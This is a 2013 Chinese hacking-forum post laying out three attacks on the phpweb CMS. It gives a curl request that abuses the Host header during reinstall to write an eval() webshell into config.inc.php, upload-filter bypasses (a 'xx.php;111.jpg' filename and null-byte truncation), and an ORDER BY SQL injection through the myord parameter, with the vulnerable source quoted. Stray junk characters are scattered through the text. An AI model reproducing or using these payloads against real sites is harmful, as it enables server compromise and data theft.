找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2656|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:8 y) S0 _  z. Q# \
: U! ~$ d# {" U; `- s+ j
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
  J& Z# c' C- d8 ]/ V2 B3 J
3 Z+ k0 U, _0 Z8 \鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件( d2 l' p0 Y7 S8 O" x+ z. O3 y
鸡肋2: 有一定安全常识的站长都会删掉 install 目录. Z$ h* W* h7 A

. E7 V- g1 A2 X4 a, y7 h2 |虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 i, L( `+ ]5 S4 O
, n5 V- y- m7 H# H4 B! @分析:
1 V0 V9 {' D' Q , a: m2 E9 C  ~. W& B
& u( |5 C9 G8 A; T; K
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
: V+ x! L2 D0 E% e$ ~& M$ ?6 k 6 ~- K$ Z; E; {- Q; ~6 g
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);7 j: V7 S, ~( y5 u
                                            $filestr=str_replace(" ","",$filestr);2 t$ g- Q+ L/ F1 s1 M0 |2 Y
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
: e$ M, X& ]$ b  [9 k                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
7 }4 o; {  }/ O& q                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);& a+ Q, r9 V% P) ?
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
1 @% Y: A; U! P* z$ o( n8 [                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);; f+ \0 j; E. E. |
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
& }* s. r. x3 Z$ J$ w6 {8 {  E                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);( I) b# j! e: H! m' O( i
1 K  t' d1 A1 w; y$ s# b+ ]7 I6 p
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
4 G! {# P+ U- n+ O- t$ ~! f$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 m+ ~8 S6 p, |& K% j7 }
- k2 x7 A/ H! c& i4 u- Spoc:
/ E3 R" K! h; \2 z
& h) d, U6 V4 f! j?6 ]( y. n) f) c# g$ ~2 Q
1
8 E8 u  _: L: [5 x5 D5 N/ Ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% J& m2 N7 u. `# J5 R- r: x( ^
shell地址: /config.inc.php
$ X4 w5 r# ?+ }# _/ G% n6 L跟之前的 phpcms一样 需要远程数据库
( u* p) x) D3 Y1 `: W. b 5 g& w& x5 `8 p# w' `# G7 r
——————————————————–1 C0 a# C$ f4 C3 l5 q
上传漏洞(需要进后台):6 x0 `8 A1 Z" i6 v! n7 k- f8 x, X
漏洞文件: /kedit/upload_cgi/upload.php' a: I: z; S5 o; w/ _2 T8 a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
3 [1 ?8 M7 L$ l4 Z+ N; U8 c6 d
) `# A" T2 |0 t
1 C9 P8 y  U3 n<?php* X+ T% K1 x, g$ B; e9 R
    define("ROOTPATH", "../../");
% ?$ n0 `; v/ p4 f! J, e    include(ROOTPATH."includes/admin.inc.php");( k& O7 N1 n2 b7 \; E
    NeedAuth(0);
1 U, S, ]/ R8 o: H, o # x6 F1 V7 ]( n9 ]7 @) P5 Y9 H
    $dt=date("Ymd",time());  J/ e: L/ \* F9 L( G
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& V  a- K: [% ?3 t! a            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
: o" c" L& P% ^4 c8 `    }! D- g0 g4 s: _" x: \7 B: o$ y
! ~. G7 a6 d8 Y/ W4 b5 u& o
    //文件保存目录路径9 L: {# W, Z" V. i" d
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
, Q6 M* s" O+ H/ u9 |8 w    echo $save_path;
- K' X  d& v7 Z5 }  z( M: P4 _* J: e    //文件保存目录URL" u# B, t+ s* c$ _2 ?
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';& u/ s9 i% Y/ {* T( ~
4 `. j% G  h: z- o
    //定义允许上传的文件扩展名
. ]2 L8 W  p+ p6 k    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀3 Z; B8 i6 V; b$ ?. B0 h/ @8 s; U% j9 ~. }

# u9 b. I2 q' I+ A  Z0 \    //最大文件大小
  f) \% z5 ^* v% g. S- Z4 G; _; a    $max_size = 1000000;& ~; f1 l: ~: g3 d& n2 ^0 k8 k9 a

0 x# k* T* s9 s& Q    //更改目录权限' r) ]% C6 V% B/ c* x0 G3 i( u
    @mkdir($save_path, 0777);
' E6 h7 ]$ |0 z
; L  k, e) L0 Q4 v8 r' h    //文件的全部路径
5 d- R* T* F$ b& ?    $file_path = $save_path.$_POST['fileName'];   //保存文件名
9 @) ]4 h" f% X8 W$ O
3 o" q$ r+ U8 M' P* \1 j    //文件URL
$ X6 r+ f3 |- U. P" E    $file_url = $save_url.$_POST['fileName'];7 e: {+ `* A3 ?- @; E; v$ U7 c
//有上传文件时
& p* p) L! z0 D+ H, {    if (empty($_FILES) === false) {
% n$ m, \% F; V8 T8 W
+ k0 z5 E1 e, M1 u; b* l# S& v            //原文件名
; v1 L! J: _  V- G# r            $file_name = $_FILES['fileData']['name'];$ @9 s2 t! @3 i. ?, y; g3 v, |
            //服务器上临时文件名# n% E2 }# u* N6 @
            $tmp_name = $_FILES['fileData']['tmp_name'];
6 m5 N+ v, G" W! g6 s            //文件大小
" |3 _( C  R' n+ n) w            $file_size = $_FILES['fileData']['size'];
: G7 g; X/ J( @7 s9 a4 o" K+ M            //检查目录
0 l; O) g( B8 h0 Q7 _4 I            if (@is_dir($save_path) === false) {
$ w. u( _. X: M; Z                    alert("上传目录不存在。");( G1 O: R4 J6 c' d, s
            }
- e( Y* ]- R$ s            //检查目录写权限
( N4 Q- i3 e, T+ F# P, P( r* \            if (@is_writable($save_path) === false) {
7 ~; g0 D! Y8 \, ?2 o" p0 ?                    alert("上传目录没有写权限。");
6 O9 N- Q+ E, A$ Z. U4 c' p            }' p' A6 v1 i4 z5 P1 H
            //检查是否已上传% e5 k, A( L  W; k$ b  J7 H
            if (@is_uploaded_file($tmp_name) === false) {
4 I' A* X3 }+ u" L9 m  g, U                    alert("临时文件可能不是上传文件。");! M! D% Y8 N9 \  C
            }
( Q) t; ^: ~* l% {            //检查文件大小4 `! W  [7 p0 b
            if ($file_size > $max_size) {$ V0 i& K$ f" \( y% K
                    alert("上传文件大小超过限制。");
+ y/ F& H  N: W3 w; Z( c2 O            }
) q" f2 d: j5 r% a4 ]& e3 O- Z            //获得文件扩展名& B$ k$ }$ N  v
            $temp_arr = explode(".", $_POST['fileName']);
0 g: u% z6 k% Q; l( N* t            $file_ext = array_pop($temp_arr);7 S. ^- |+ R& a9 ?8 J
            $file_ext = trim($file_ext);
4 q( k. T& s" Z, @0 e            $file_ext = strtolower($file_ext);+ x8 g( ]3 D+ o3 B

; V. D- W1 ?0 k# ^- z) J) n            //检查扩展名   
5 p! [. Y5 R- D            if (in_array($file_ext, $ext_arr) === false) {     2 o: ^) O( h7 P' b2 R
                    alert("上传文件扩展名是不允许的扩展名。");. _5 h) L- G" G) {
            }8 }3 L+ Q- ?$ L2 s3 A" \6 M" W! D
. L- W5 _* q9 H. T+ N5 c- v
            //移动文件   ' p+ ?( n  \6 U5 R
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^, U3 u7 r4 h7 S) G' j
            if (move_uploaded_file($tmp_name, $file_path) === false) {+ p% S' ?  j1 t- h/ r& b5 m/ }8 b8 B/ |
                    alert("上传文件失败。");
( x: m5 h- Z5 \: O8 f: d            }" o6 p8 q+ f& h8 ]2 o* L" K2 [
* |1 v* S  \* i  m6 o' |% m+ e+ x
            @chmod($file_path,0666);$ B; @" u6 Q" q3 a

4 Q7 Y) G; l5 P+ _( \' d- `; m2 a    ?>* R3 W! X- V& e* X) ^: F+ B
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
% y" v$ N8 I8 |3 w8 |$ _! W- j1 \
$ s  t2 b8 v6 J2 W$ Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过* r1 T+ A% [) p' F9 M' \

. X8 a8 D) u) R/ O7 R1 a——————————————————
; F9 r$ Q* t2 E$ {2 _1 d  U. F: Z+ E注入漏洞:1 \9 K0 A4 F' V# F+ `: ]
漏洞文件:search/module/search.php( f+ @7 B" q% ^2 V# M' T, R
/search/index.php?key=1&myord=1 [sqlinjection]: h( c' Q' _* M4 ?8 M
3 I6 Z/ F3 y( `- R: ~

  V) ~" P! F8 E' v% Z6 ]<?php
$ C0 f4 ~+ X8 q, @   //       ... 省略 n 行...
1 I2 f" F) }% B0 n( E" k3 K( g- U   //第18行:2 G5 G! P$ w, j" q% d# R2 ^! J
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
4 j0 z# j& S6 t( k; ~           $page=htmlspecialchars($_GET["page"]);% o( A) E% y$ q; F
           $myord=htmlspecialchars($_GET["myord"]);( K" c9 R( q- @% d. T
4 G# b8 `. S3 Z2 U/ ^; v
   //       ... 省略 n 行...
7 c2 b3 R/ f8 ?" G   $key,$myord 两个参数带入查询1 `1 F0 {2 t7 U5 F; T  J
   //第47行 $key:
9 G! s1 q3 A8 ^2 K) x- i9 C) E 4 K: B) u9 ~: V! }  H* Y$ [
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
. y* u" x  U, U4 G$ Y 7 u2 L5 W9 G, c; A* l% m3 z; o( p
   //第197行 $myord
/ z. ?4 _& Z- g0 H   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
3 t7 I9 V* i+ n 4 Y# F& }% q7 ?" p' Z2 e7 D' j" V% u
   ?>3 u+ }$ w6 d5 q0 V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表